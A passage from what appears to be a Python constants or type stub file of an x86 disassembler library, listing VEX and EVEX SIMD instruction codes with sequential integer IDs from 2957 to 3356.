EVEX_VPMINUW_XMM_K1Z_XMM_XMMM128: int = 2957
EVEX_VPMINUW_YMM_K1Z_YMM_YMMM256: int = 2958
EVEX_VPMINUW_ZMM_K1Z_ZMM_ZMMM512: int = 2959
EVEX_VPBROADCASTMW2D_XMM_KR: int = 2960
EVEX_VPBROADCASTMW2D_YMM_KR: int = 2961
EVEX_VPBROADCASTMW2D_ZMM_KR: int = 2962
PMINUD_XMM_XMMM128: int = 2963
VEX_VPMINUD_XMM_XMM_XMMM128: int = 2964
VEX_VPMINUD_YMM_YMM_YMMM256: int = 2965
EVEX_VPMINUD_XMM_K1Z_XMM_XMMM128B32: int = 2966
EVEX_VPMINUD_YMM_K1Z_YMM_YMMM256B32: int = 2967
EVEX_VPMINUD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2968
EVEX_VPMINUQ_XMM_K1Z_XMM_XMMM128B64: int = 2969
EVEX_VPMINUQ_YMM_K1Z_YMM_YMMM256B64: int = 2970
EVEX_VPMINUQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2971
PMAXSB_XMM_XMMM128: int = 2972
VEX_VPMAXSB_XMM_XMM_XMMM128: int = 2973
VEX_VPMAXSB_YMM_YMM_YMMM256: int = 2974
EVEX_VPMAXSB_XMM_K1Z_XMM_XMMM128: int = 2975
EVEX_VPMAXSB_YMM_K1Z_YMM_YMMM256: int = 2976
EVEX_VPMAXSB_ZMM_K1Z_ZMM_ZMMM512: int = 2977
PMAXSD_XMM_XMMM128: int = 2978
VEX_VPMAXSD_XMM_XMM_XMMM128: int = 2979
VEX_VPMAXSD_YMM_YMM_YMMM256: int = 2980
EVEX_VPMAXSD_XMM_K1Z_XMM_XMMM128B32: int = 2981
EVEX_VPMAXSD_YMM_K1Z_YMM_YMMM256B32: int = 2982
EVEX_VPMAXSD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2983
EVEX_VPMAXSQ_XMM_K1Z_XMM_XMMM128B64: int = 2984
EVEX_VPMAXSQ_YMM_K1Z_YMM_YMMM256B64: int = 2985
EVEX_VPMAXSQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2986
PMAXUW_XMM_XMMM128: int = 2987
VEX_VPMAXUW_XMM_XMM_XMMM128: int = 2988
VEX_VPMAXUW_YMM_YMM_YMMM256: int = 2989
EVEX_VPMAXUW_XMM_K1Z_XMM_XMMM128: int = 2990
EVEX_VPMAXUW_YMM_K1Z_YMM_YMMM256: int = 2991
EVEX_VPMAXUW_ZMM_K1Z_ZMM_ZMMM512: int = 2992
PMAXUD_XMM_XMMM128: int = 2993
VEX_VPMAXUD_XMM_XMM_XMMM128: int = 2994
VEX_VPMAXUD_YMM_YMM_YMMM256: int = 2995
EVEX_VPMAXUD_XMM_K1Z_XMM_XMMM128B32: int = 2996
EVEX_VPMAXUD_YMM_K1Z_YMM_YMMM256B32: int = 2997
EVEX_VPMAXUD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2998
EVEX_VPMAXUQ_XMM_K1Z_XMM_XMMM128B64: int = 2999
EVEX_VPMAXUQ_YMM_K1Z_YMM_YMMM256B64: int = 3000
EVEX_VPMAXUQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3001
PMULLD_XMM_XMMM128: int = 3002
VEX_VPMULLD_XMM_XMM_XMMM128: int = 3003
VEX_VPMULLD_YMM_YMM_YMMM256: int = 3004
EVEX_VPMULLD_XMM_K1Z_XMM_XMMM128B32: int = 3005
EVEX_VPMULLD_YMM_K1Z_YMM_YMMM256B32: int = 3006
EVEX_VPMULLD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3007
EVEX_VPMULLQ_XMM_K1Z_XMM_XMMM128B64: int = 3008
EVEX_VPMULLQ_YMM_K1Z_YMM_YMMM256B64: int = 3009
EVEX_VPMULLQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3010
PHMINPOSUW_XMM_XMMM128: int = 3011
VEX_VPHMINPOSUW_XMM_XMMM128: int = 3012
EVEX_VGETEXPPS_XMM_K1Z_XMMM128B32: int = 3013
EVEX_VGETEXPPS_YMM_K1Z_YMMM256B32: int = 3014
EVEX_VGETEXPPS_ZMM_K1Z_ZMMM512B32_SAE: int = 3015
EVEX_VGETEXPPD_XMM_K1Z_XMMM128B64: int = 3016
EVEX_VGETEXPPD_YMM_K1Z_YMMM256B64: int = 3017
EVEX_VGETEXPPD_ZMM_K1Z_ZMMM512B64_SAE: int = 3018
EVEX_VGETEXPSS_XMM_K1Z_XMM_XMMM32_SAE: int = 3019
EVEX_VGETEXPSD_XMM_K1Z_XMM_XMMM64_SAE: int = 3020
EVEX_VPLZCNTD_XMM_K1Z_XMMM128B32: int = 3021
EVEX_VPLZCNTD_YMM_K1Z_YMMM256B32: int = 3022
EVEX_VPLZCNTD_ZMM_K1Z_ZMMM512B32: int = 3023
EVEX_VPLZCNTQ_XMM_K1Z_XMMM128B64: int = 3024
EVEX_VPLZCNTQ_YMM_K1Z_YMMM256B64: int = 3025
EVEX_VPLZCNTQ_ZMM_K1Z_ZMMM512B64: int = 3026
VEX_VPSRLVD_XMM_XMM_XMMM128: int = 3027
VEX_VPSRLVD_YMM_YMM_YMMM256: int = 3028
VEX_VPSRLVQ_XMM_XMM_XMMM128: int = 3029
VEX_VPSRLVQ_YMM_YMM_YMMM256: int = 3030
EVEX_VPSRLVD_XMM_K1Z_XMM_XMMM128B32: int = 3031
EVEX_VPSRLVD_YMM_K1Z_YMM_YMMM256B32: int = 3032
EVEX_VPSRLVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3033
EVEX_VPSRLVQ_XMM_K1Z_XMM_XMMM128B64: int = 3034
EVEX_VPSRLVQ_YMM_K1Z_YMM_YMMM256B64: int = 3035
EVEX_VPSRLVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3036
VEX_VPSRAVD_XMM_XMM_XMMM128: int = 3037
VEX_VPSRAVD_YMM_YMM_YMMM256: int = 3038
EVEX_VPSRAVD_XMM_K1Z_XMM_XMMM128B32: int = 3039
EVEX_VPSRAVD_YMM_K1Z_YMM_YMMM256B32: int = 3040
EVEX_VPSRAVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3041
EVEX_VPSRAVQ_XMM_K1Z_XMM_XMMM128B64: int = 3042
EVEX_VPSRAVQ_YMM_K1Z_YMM_YMMM256B64: int = 3043
EVEX_VPSRAVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3044
VEX_VPSLLVD_XMM_XMM_XMMM128: int = 3045
VEX_VPSLLVD_YMM_YMM_YMMM256: int = 3046
VEX_VPSLLVQ_XMM_XMM_XMMM128: int = 3047
VEX_VPSLLVQ_YMM_YMM_YMMM256: int = 3048
EVEX_VPSLLVD_XMM_K1Z_XMM_XMMM128B32: int = 3049
EVEX_VPSLLVD_YMM_K1Z_YMM_YMMM256B32: int = 3050
EVEX_VPSLLVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3051
EVEX_VPSLLVQ_XMM_K1Z_XMM_XMMM128B64: int = 3052
EVEX_VPSLLVQ_YMM_K1Z_YMM_YMMM256B64: int = 3053
EVEX_VPSLLVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3054
EVEX_VRCP14PS_XMM_K1Z_XMMM128B32: int = 3055
EVEX_VRCP14PS_YMM_K1Z_YMMM256B32: int = 3056
EVEX_VRCP14PS_ZMM_K1Z_ZMMM512B32: int = 3057
EVEX_VRCP14PD_XMM_K1Z_XMMM128B64: int = 3058
EVEX_VRCP14PD_YMM_K1Z_YMMM256B64: int = 3059
EVEX_VRCP14PD_ZMM_K1Z_ZMMM512B64: int = 3060
EVEX_VRCP14SS_XMM_K1Z_XMM_XMMM32: int = 3061
EVEX_VRCP14SD_XMM_K1Z_XMM_XMMM64: int = 3062
EVEX_VRSQRT14PS_XMM_K1Z_XMMM128B32: int = 3063
EVEX_VRSQRT14PS_YMM_K1Z_YMMM256B32: int = 3064
EVEX_VRSQRT14PS_ZMM_K1Z_ZMMM512B32: int = 3065
EVEX_VRSQRT14PD_XMM_K1Z_XMMM128B64: int = 3066
EVEX_VRSQRT14PD_YMM_K1Z_YMMM256B64: int = 3067
EVEX_VRSQRT14PD_ZMM_K1Z_ZMMM512B64: int = 3068
EVEX_VRSQRT14SS_XMM_K1Z_XMM_XMMM32: int = 3069
EVEX_VRSQRT14SD_XMM_K1Z_XMM_XMMM64: int = 3070
EVEX_VPDPBUSD_XMM_K1Z_XMM_XMMM128B32: int = 3071
EVEX_VPDPBUSD_YMM_K1Z_YMM_YMMM256B32: int = 3072
EVEX_VPDPBUSD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3073
EVEX_VPDPBUSDS_XMM_K1Z_XMM_XMMM128B32: int = 3074
EVEX_VPDPBUSDS_YMM_K1Z_YMM_YMMM256B32: int = 3075
EVEX_VPDPBUSDS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3076
EVEX_VPDPWSSD_XMM_K1Z_XMM_XMMM128B32: int = 3077
EVEX_VPDPWSSD_YMM_K1Z_YMM_YMMM256B32: int = 3078
EVEX_VPDPWSSD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3079
EVEX_VDPBF16PS_XMM_K1Z_XMM_XMMM128B32: int = 3080
EVEX_VDPBF16PS_YMM_K1Z_YMM_YMMM256B32: int = 3081
EVEX_VDPBF16PS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3082
EVEX_VP4DPWSSD_ZMM_K1Z_ZMMP3_M128: int = 3083
EVEX_VPDPWSSDS_XMM_K1Z_XMM_XMMM128B32: int = 3084
EVEX_VPDPWSSDS_YMM_K1Z_YMM_YMMM256B32: int = 3085
EVEX_VPDPWSSDS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3086
EVEX_VP4DPWSSDS_ZMM_K1Z_ZMMP3_M128: int = 3087
EVEX_VPOPCNTB_XMM_K1Z_XMMM128: int = 3088
EVEX_VPOPCNTB_YMM_K1Z_YMMM256: int = 3089
EVEX_VPOPCNTB_ZMM_K1Z_ZMMM512: int = 3090
EVEX_VPOPCNTW_XMM_K1Z_XMMM128: int = 3091
EVEX_VPOPCNTW_YMM_K1Z_YMMM256: int = 3092
EVEX_VPOPCNTW_ZMM_K1Z_ZMMM512: int = 3093
EVEX_VPOPCNTD_XMM_K1Z_XMMM128B32: int = 3094
EVEX_VPOPCNTD_YMM_K1Z_YMMM256B32: int = 3095
EVEX_VPOPCNTD_ZMM_K1Z_ZMMM512B32: int = 3096
EVEX_VPOPCNTQ_XMM_K1Z_XMMM128B64: int = 3097
EVEX_VPOPCNTQ_YMM_K1Z_YMMM256B64: int = 3098
EVEX_VPOPCNTQ_ZMM_K1Z_ZMMM512B64: int = 3099
VEX_VPBROADCASTD_XMM_XMMM32: int = 3100
VEX_VPBROADCASTD_YMM_XMMM32: int = 3101
EVEX_VPBROADCASTD_XMM_K1Z_XMMM32: int = 3102
EVEX_VPBROADCASTD_YMM_K1Z_XMMM32: int = 3103
EVEX_VPBROADCASTD_ZMM_K1Z_XMMM32: int = 3104
VEX_VPBROADCASTQ_XMM_XMMM64: int = 3105
VEX_VPBROADCASTQ_YMM_XMMM64: int = 3106
EVEX_VBROADCASTI32X2_XMM_K1Z_XMMM64: int = 3107
EVEX_VBROADCASTI32X2_YMM_K1Z_XMMM64: int = 3108
EVEX_VBROADCASTI32X2_ZMM_K1Z_XMMM64: int = 3109
EVEX_VPBROADCASTQ_XMM_K1Z_XMMM64: int = 3110
EVEX_VPBROADCASTQ_YMM_K1Z_XMMM64: int = 3111
EVEX_VPBROADCASTQ_ZMM_K1Z_XMMM64: int = 3112
VEX_VBROADCASTI128_YMM_M128: int = 3113
EVEX_VBROADCASTI32X4_YMM_K1Z_M128: int = 3114
EVEX_VBROADCASTI32X4_ZMM_K1Z_M128: int = 3115
EVEX_VBROADCASTI64X2_YMM_K1Z_M128: int = 3116
EVEX_VBROADCASTI64X2_ZMM_K1Z_M128: int = 3117
EVEX_VBROADCASTI32X8_ZMM_K1Z_M256: int = 3118
EVEX_VBROADCASTI64X4_ZMM_K1Z_M256: int = 3119
EVEX_VPEXPANDB_XMM_K1Z_XMMM128: int = 3120
EVEX_VPEXPANDB_YMM_K1Z_YMMM256: int = 3121
EVEX_VPEXPANDB_ZMM_K1Z_ZMMM512: int = 3122
EVEX_VPEXPANDW_XMM_K1Z_XMMM128: int = 3123
EVEX_VPEXPANDW_YMM_K1Z_YMMM256: int = 3124
EVEX_VPEXPANDW_ZMM_K1Z_ZMMM512: int = 3125
EVEX_VPCOMPRESSB_XMMM128_K1Z_XMM: int = 3126
EVEX_VPCOMPRESSB_YMMM256_K1Z_YMM: int = 3127
EVEX_VPCOMPRESSB_ZMMM512_K1Z_ZMM: int = 3128
EVEX_VPCOMPRESSW_XMMM128_K1Z_XMM: int = 3129
EVEX_VPCOMPRESSW_YMMM256_K1Z_YMM: int = 3130
EVEX_VPCOMPRESSW_ZMMM512_K1Z_ZMM: int = 3131
EVEX_VPBLENDMD_XMM_K1Z_XMM_XMMM128B32: int = 3132
EVEX_VPBLENDMD_YMM_K1Z_YMM_YMMM256B32: int = 3133
EVEX_VPBLENDMD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3134
EVEX_VPBLENDMQ_XMM_K1Z_XMM_XMMM128B64: int = 3135
EVEX_VPBLENDMQ_YMM_K1Z_YMM_YMMM256B64: int = 3136
EVEX_VPBLENDMQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3137
EVEX_VBLENDMPS_XMM_K1Z_XMM_XMMM128B32: int = 3138
EVEX_VBLENDMPS_YMM_K1Z_YMM_YMMM256B32: int = 3139
EVEX_VBLENDMPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3140
EVEX_VBLENDMPD_XMM_K1Z_XMM_XMMM128B64: int = 3141
EVEX_VBLENDMPD_YMM_K1Z_YMM_YMMM256B64: int = 3142
EVEX_VBLENDMPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 3143
EVEX_VPBLENDMB_XMM_K1Z_XMM_XMMM128: int = 3144
EVEX_VPBLENDMB_YMM_K1Z_YMM_YMMM256: int = 3145
EVEX_VPBLENDMB_ZMM_K1Z_ZMM_ZMMM512: int = 3146
EVEX_VPBLENDMW_XMM_K1Z_XMM_XMMM128: int = 3147
EVEX_VPBLENDMW_YMM_K1Z_YMM_YMMM256: int = 3148
EVEX_VPBLENDMW_ZMM_K1Z_ZMM_ZMMM512: int = 3149
EVEX_VP2INTERSECTD_KP1_XMM_XMMM128B32: int = 3150
EVEX_VP2INTERSECTD_KP1_YMM_YMMM256B32: int = 3151
EVEX_VP2INTERSECTD_KP1_ZMM_ZMMM512B32: int = 3152
EVEX_VP2INTERSECTQ_KP1_XMM_XMMM128B64: int = 3153
EVEX_VP2INTERSECTQ_KP1_YMM_YMMM256B64: int = 3154
EVEX_VP2INTERSECTQ_KP1_ZMM_ZMMM512B64: int = 3155
EVEX_VPSHLDVW_XMM_K1Z_XMM_XMMM128: int = 3156
EVEX_VPSHLDVW_YMM_K1Z_YMM_YMMM256: int = 3157
EVEX_VPSHLDVW_ZMM_K1Z_ZMM_ZMMM512: int = 3158
EVEX_VPSHLDVD_XMM_K1Z_XMM_XMMM128B32: int = 3159
EVEX_VPSHLDVD_YMM_K1Z_YMM_YMMM256B32: int = 3160
EVEX_VPSHLDVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3161
EVEX_VPSHLDVQ_XMM_K1Z_XMM_XMMM128B64: int = 3162
EVEX_VPSHLDVQ_YMM_K1Z_YMM_YMMM256B64: int = 3163
EVEX_VPSHLDVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3164
EVEX_VPSHRDVW_XMM_K1Z_XMM_XMMM128: int = 3165
EVEX_VPSHRDVW_YMM_K1Z_YMM_YMMM256: int = 3166
EVEX_VPSHRDVW_ZMM_K1Z_ZMM_ZMMM512: int = 3167
EVEX_VCVTNEPS2BF16_XMM_K1Z_XMMM128B32: int = 3168
EVEX_VCVTNEPS2BF16_XMM_K1Z_YMMM256B32: int = 3169
EVEX_VCVTNEPS2BF16_YMM_K1Z_ZMMM512B32: int = 3170
EVEX_VCVTNE2PS2BF16_XMM_K1Z_XMM_XMMM128B32: int = 3171
EVEX_VCVTNE2PS2BF16_YMM_K1Z_YMM_YMMM256B32: int = 3172
EVEX_VCVTNE2PS2BF16_ZMM_K1Z_ZMM_ZMMM512B32: int = 3173
EVEX_VPSHRDVD_XMM_K1Z_XMM_XMMM128B32: int = 3174
EVEX_VPSHRDVD_YMM_K1Z_YMM_YMMM256B32: int = 3175
EVEX_VPSHRDVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 3176
EVEX_VPSHRDVQ_XMM_K1Z_XMM_XMMM128B64: int = 3177
EVEX_VPSHRDVQ_YMM_K1Z_YMM_YMMM256B64: int = 3178
EVEX_VPSHRDVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 3179
EVEX_VPERMI2B_XMM_K1Z_XMM_XMMM128: int = 3180
EVEX_VPERMI2B_YMM_K1Z_YMM_YMMM256: int = 3181
EVEX_VPERMI2B_ZMM_K1Z_ZMM_ZMMM512: int = 3182
EVEX_VPERMI2W_XMM_K1Z_XMM_XMMM128: int = 3183
EVEX_VPERMI2W_YMM_K1Z_YMM_YMMM256: int = 3184
EVEX_VPERMI2W_ZMM_K1Z_ZMM_ZMMM512: int = 3185
EVEX_VPERMI2D_XMM_K1Z_XMM_XMMM128B32: int = 3186
EVEX_VPERMI2D_YMM_K1Z_YMM_YMMM256B32: int = 3187
EVEX_VPERMI2D_ZMM_K1Z_ZMM_ZMMM512B32: int = 3188
EVEX_VPERMI2Q_XMM_K1Z_XMM_XMMM128B64: int = 3189
EVEX_VPERMI2Q_YMM_K1Z_YMM_YMMM256B64: int = 3190
EVEX_VPERMI2Q_ZMM_K1Z_ZMM_ZMMM512B64: int = 3191
EVEX_VPERMI2PS_XMM_K1Z_XMM_XMMM128B32: int = 3192
EVEX_VPERMI2PS_YMM_K1Z_YMM_YMMM256B32: int = 3193
EVEX_VPERMI2PS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3194
EVEX_VPERMI2PD_XMM_K1Z_XMM_XMMM128B64: int = 3195
EVEX_VPERMI2PD_YMM_K1Z_YMM_YMMM256B64: int = 3196
EVEX_VPERMI2PD_ZMM_K1Z_ZMM_ZMMM512B64: int = 3197
VEX_VPBROADCASTB_XMM_XMMM8: int = 3198
VEX_VPBROADCASTB_YMM_XMMM8: int = 3199
EVEX_VPBROADCASTB_XMM_K1Z_XMMM8: int = 3200
EVEX_VPBROADCASTB_YMM_K1Z_XMMM8: int = 3201
EVEX_VPBROADCASTB_ZMM_K1Z_XMMM8: int = 3202
VEX_VPBROADCASTW_XMM_XMMM16: int = 3203
VEX_VPBROADCASTW_YMM_XMMM16: int = 3204
EVEX_VPBROADCASTW_XMM_K1Z_XMMM16: int = 3205
EVEX_VPBROADCASTW_YMM_K1Z_XMMM16: int = 3206
EVEX_VPBROADCASTW_ZMM_K1Z_XMMM16: int = 3207
EVEX_VPBROADCASTB_XMM_K1Z_R32: int = 3208
EVEX_VPBROADCASTB_YMM_K1Z_R32: int = 3209
EVEX_VPBROADCASTB_ZMM_K1Z_R32: int = 3210
EVEX_VPBROADCASTW_XMM_K1Z_R32: int = 3211
EVEX_VPBROADCASTW_YMM_K1Z_R32: int = 3212
EVEX_VPBROADCASTW_ZMM_K1Z_R32: int = 3213
EVEX_VPBROADCASTD_XMM_K1Z_R32: int = 3214
EVEX_VPBROADCASTD_YMM_K1Z_R32: int = 3215
EVEX_VPBROADCASTD_ZMM_K1Z_R32: int = 3216
EVEX_VPBROADCASTQ_XMM_K1Z_R64: int = 3217
EVEX_VPBROADCASTQ_YMM_K1Z_R64: int = 3218
EVEX_VPBROADCASTQ_ZMM_K1Z_R64: int = 3219
EVEX_VPERMT2B_XMM_K1Z_XMM_XMMM128: int = 3220
EVEX_VPERMT2B_YMM_K1Z_YMM_YMMM256: int = 3221
EVEX_VPERMT2B_ZMM_K1Z_ZMM_ZMMM512: int = 3222
EVEX_VPERMT2W_XMM_K1Z_XMM_XMMM128: int = 3223
EVEX_VPERMT2W_YMM_K1Z_YMM_YMMM256: int = 3224
EVEX_VPERMT2W_ZMM_K1Z_ZMM_ZMMM512: int = 3225
EVEX_VPERMT2D_XMM_K1Z_XMM_XMMM128B32: int = 3226
EVEX_VPERMT2D_YMM_K1Z_YMM_YMMM256B32: int = 3227
EVEX_VPERMT2D_ZMM_K1Z_ZMM_ZMMM512B32: int = 3228
EVEX_VPERMT2Q_XMM_K1Z_XMM_XMMM128B64: int = 3229
EVEX_VPERMT2Q_YMM_K1Z_YMM_YMMM256B64: int = 3230
EVEX_VPERMT2Q_ZMM_K1Z_ZMM_ZMMM512B64: int = 3231
EVEX_VPERMT2PS_XMM_K1Z_XMM_XMMM128B32: int = 3232
EVEX_VPERMT2PS_YMM_K1Z_YMM_YMMM256B32: int = 3233
EVEX_VPERMT2PS_ZMM_K1Z_ZMM_ZMMM512B32: int = 3234
EVEX_VPERMT2PD_XMM_K1Z_XMM_XMMM128B64: int = 3235
EVEX_VPERMT2PD_YMM_K1Z_YMM_YMMM256B64: int = 3236
EVEX_VPERMT2PD_ZMM_K1Z_ZMM_ZMMM512B64: int = 3237
INVEPT_R32_M128: int = 3238
INVEPT_R64_M128: int = 3239
INVVPID_R32_M128: int = 3240
INVVPID_R64_M128: int = 3241
INVPCID_R32_M128: int = 3242
INVPCID_R64_M128: int = 3243
EVEX_VPMULTISHIFTQB_XMM_K1Z_XMM_XMMM128B64: int = 3244
EVEX_VPMULTISHIFTQB_YMM_K1Z_YMM_YMMM256B64: int = 3245
EVEX_VPMULTISHIFTQB_ZMM_K1Z_ZMM_ZMMM512B64: int = 3246
EVEX_VEXPANDPS_XMM_K1Z_XMMM128: int = 3247
EVEX_VEXPANDPS_YMM_K1Z_YMMM256: int = 3248
EVEX_VEXPANDPS_ZMM_K1Z_ZMMM512: int = 3249
EVEX_VEXPANDPD_XMM_K1Z_XMMM128: int = 3250
EVEX_VEXPANDPD_YMM_K1Z_YMMM256: int = 3251
EVEX_VEXPANDPD_ZMM_K1Z_ZMMM512: int = 3252
EVEX_VPEXPANDD_XMM_K1Z_XMMM128: int = 3253
EVEX_VPEXPANDD_YMM_K1Z_YMMM256: int = 3254
EVEX_VPEXPANDD_ZMM_K1Z_ZMMM512: int = 3255
EVEX_VPEXPANDQ_XMM_K1Z_XMMM128: int = 3256
EVEX_VPEXPANDQ_YMM_K1Z_YMMM256: int = 3257
EVEX_VPEXPANDQ_ZMM_K1Z_ZMMM512: int = 3258
EVEX_VCOMPRESSPS_XMMM128_K1Z_XMM: int = 3259
EVEX_VCOMPRESSPS_YMMM256_K1Z_YMM: int = 3260
EVEX_VCOMPRESSPS_ZMMM512_K1Z_ZMM: int = 3261
EVEX_VCOMPRESSPD_XMMM128_K1Z_XMM: int = 3262
EVEX_VCOMPRESSPD_YMMM256_K1Z_YMM: int = 3263
EVEX_VCOMPRESSPD_ZMMM512_K1Z_ZMM: int = 3264
EVEX_VPCOMPRESSD_XMMM128_K1Z_XMM: int = 3265
EVEX_VPCOMPRESSD_YMMM256_K1Z_YMM: int = 3266
EVEX_VPCOMPRESSD_ZMMM512_K1Z_ZMM: int = 3267
EVEX_VPCOMPRESSQ_XMMM128_K1Z_XMM: int = 3268
EVEX_VPCOMPRESSQ_YMMM256_K1Z_YMM: int = 3269
EVEX_VPCOMPRESSQ_ZMMM512_K1Z_ZMM: int = 3270
VEX_VPMASKMOVD_XMM_XMM_M128: int = 3271
VEX_VPMASKMOVD_YMM_YMM_M256: int = 3272
VEX_VPMASKMOVQ_XMM_XMM_M128: int = 3273
VEX_VPMASKMOVQ_YMM_YMM_M256: int = 3274
EVEX_VPERMB_XMM_K1Z_XMM_XMMM128: int = 3275
EVEX_VPERMB_YMM_K1Z_YMM_YMMM256: int = 3276
EVEX_VPERMB_ZMM_K1Z_ZMM_ZMMM512: int = 3277
EVEX_VPERMW_XMM_K1Z_XMM_XMMM128: int = 3278
EVEX_VPERMW_YMM_K1Z_YMM_YMMM256: int = 3279
EVEX_VPERMW_ZMM_K1Z_ZMM_ZMMM512: int = 3280
VEX_VPMASKMOVD_M128_XMM_XMM: int = 3281
VEX_VPMASKMOVD_M256_YMM_YMM: int = 3282
VEX_VPMASKMOVQ_M128_XMM_XMM: int = 3283
VEX_VPMASKMOVQ_M256_YMM_YMM: int = 3284
EVEX_VPSHUFBITQMB_KR_K1_XMM_XMMM128: int = 3285
EVEX_VPSHUFBITQMB_KR_K1_YMM_YMMM256: int = 3286
EVEX_VPSHUFBITQMB_KR_K1_ZMM_ZMMM512: int = 3287
VEX_VPGATHERDD_XMM_VM32X_XMM: int = 3288
VEX_VPGATHERDD_YMM_VM32Y_YMM: int = 3289
VEX_VPGATHERDQ_XMM_VM32X_XMM: int = 3290
VEX_VPGATHERDQ_YMM_VM32X_YMM: int = 3291
EVEX_VPGATHERDD_XMM_K1_VM32X: int = 3292
EVEX_VPGATHERDD_YMM_K1_VM32Y: int = 3293
EVEX_VPGATHERDD_ZMM_K1_VM32Z: int = 3294
EVEX_VPGATHERDQ_XMM_K1_VM32X: int = 3295
EVEX_VPGATHERDQ_YMM_K1_VM32X: int = 3296
EVEX_VPGATHERDQ_ZMM_K1_VM32Y: int = 3297
VEX_VPGATHERQD_XMM_VM64X_XMM: int = 3298
VEX_VPGATHERQD_XMM_VM64Y_XMM: int = 3299
VEX_VPGATHERQQ_XMM_VM64X_XMM: int = 3300
VEX_VPGATHERQQ_YMM_VM64Y_YMM: int = 3301
EVEX_VPGATHERQD_XMM_K1_VM64X: int = 3302
EVEX_VPGATHERQD_XMM_K1_VM64Y: int = 3303
EVEX_VPGATHERQD_YMM_K1_VM64Z: int = 3304
EVEX_VPGATHERQQ_XMM_K1_VM64X: int = 3305
EVEX_VPGATHERQQ_YMM_K1_VM64Y: int = 3306
EVEX_VPGATHERQQ_ZMM_K1_VM64Z: int = 3307
VEX_VGATHERDPS_XMM_VM32X_XMM: int = 3308
VEX_VGATHERDPS_YMM_VM32Y_YMM: int = 3309
VEX_VGATHERDPD_XMM_VM32X_XMM: int = 3310
VEX_VGATHERDPD_YMM_VM32X_YMM: int = 3311
EVEX_VGATHERDPS_XMM_K1_VM32X: int = 3312
EVEX_VGATHERDPS_YMM_K1_VM32Y: int = 3313
EVEX_VGATHERDPS_ZMM_K1_VM32Z: int = 3314
EVEX_VGATHERDPD_XMM_K1_VM32X: int = 3315
EVEX_VGATHERDPD_YMM_K1_VM32X: int = 3316
EVEX_VGATHERDPD_ZMM_K1_VM32Y: int = 3317
VEX_VGATHERQPS_XMM_VM64X_XMM: int = 3318
VEX_VGATHERQPS_XMM_VM64Y_XMM: int = 3319
VEX_VGATHERQPD_XMM_VM64X_XMM: int = 3320
VEX_VGATHERQPD_YMM_VM64Y_YMM: int = 3321
EVEX_VGATHERQPS_XMM_K1_VM64X: int = 3322
EVEX_VGATHERQPS_XMM_K1_VM64Y: int = 3323
EVEX_VGATHERQPS_YMM_K1_VM64Z: int = 3324
EVEX_VGATHERQPD_XMM_K1_VM64X: int = 3325
EVEX_VGATHERQPD_YMM_K1_VM64Y: int = 3326
EVEX_VGATHERQPD_ZMM_K1_VM64Z: int = 3327
VEX_VFMADDSUB132PS_XMM_XMM_XMMM128: int = 3328
VEX_VFMADDSUB132PS_YMM_YMM_YMMM256: int = 3329
VEX_VFMADDSUB132PD_XMM_XMM_XMMM128: int = 3330
VEX_VFMADDSUB132PD_YMM_YMM_YMMM256: int = 3331
EVEX_VFMADDSUB132PS_XMM_K1Z_XMM_XMMM128B32: int = 3332
EVEX_VFMADDSUB132PS_YMM_K1Z_YMM_YMMM256B32: int = 3333
EVEX_VFMADDSUB132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3334
EVEX_VFMADDSUB132PD_XMM_K1Z_XMM_XMMM128B64: int = 3335
EVEX_VFMADDSUB132PD_YMM_K1Z_YMM_YMMM256B64: int = 3336
EVEX_VFMADDSUB132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3337
VEX_VFMSUBADD132PS_XMM_XMM_XMMM128: int = 3338
VEX_VFMSUBADD132PS_YMM_YMM_YMMM256: int = 3339
VEX_VFMSUBADD132PD_XMM_XMM_XMMM128: int = 3340
VEX_VFMSUBADD132PD_YMM_YMM_YMMM256: int = 3341
EVEX_VFMSUBADD132PS_XMM_K1Z_XMM_XMMM128B32: int = 3342
EVEX_VFMSUBADD132PS_YMM_K1Z_YMM_YMMM256B32: int = 3343
EVEX_VFMSUBADD132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3344
EVEX_VFMSUBADD132PD_XMM_K1Z_XMM_XMMM128B64: int = 3345
EVEX_VFMSUBADD132PD_YMM_K1Z_YMM_YMMM256B64: int = 3346
EVEX_VFMSUBADD132PD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 3347
VEX_VFMADD132PS_XMM_XMM_XMMM128: int = 3348
VEX_VFMADD132PS_YMM_YMM_YMMM256: int = 3349
VEX_VFMADD132PD_XMM_XMM_XMMM128: int = 3350
VEX_VFMADD132PD_YMM_YMM_YMMM256: int = 3351
EVEX_VFMADD132PS_XMM_K1Z_XMM_XMMM128B32: int = 3352
EVEX_VFMADD132PS_YMM_K1Z_YMM_YMMM256B32: int = 3353
EVEX_VFMADD132PS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 3354
EVEX_VFMADD132PD_XMM_K1Z_XMM_XMMM128B64: int = 3355
EVEX_VFMADD132PD_YMM_K1Z_YMM_YMMM256B64: int = 3356
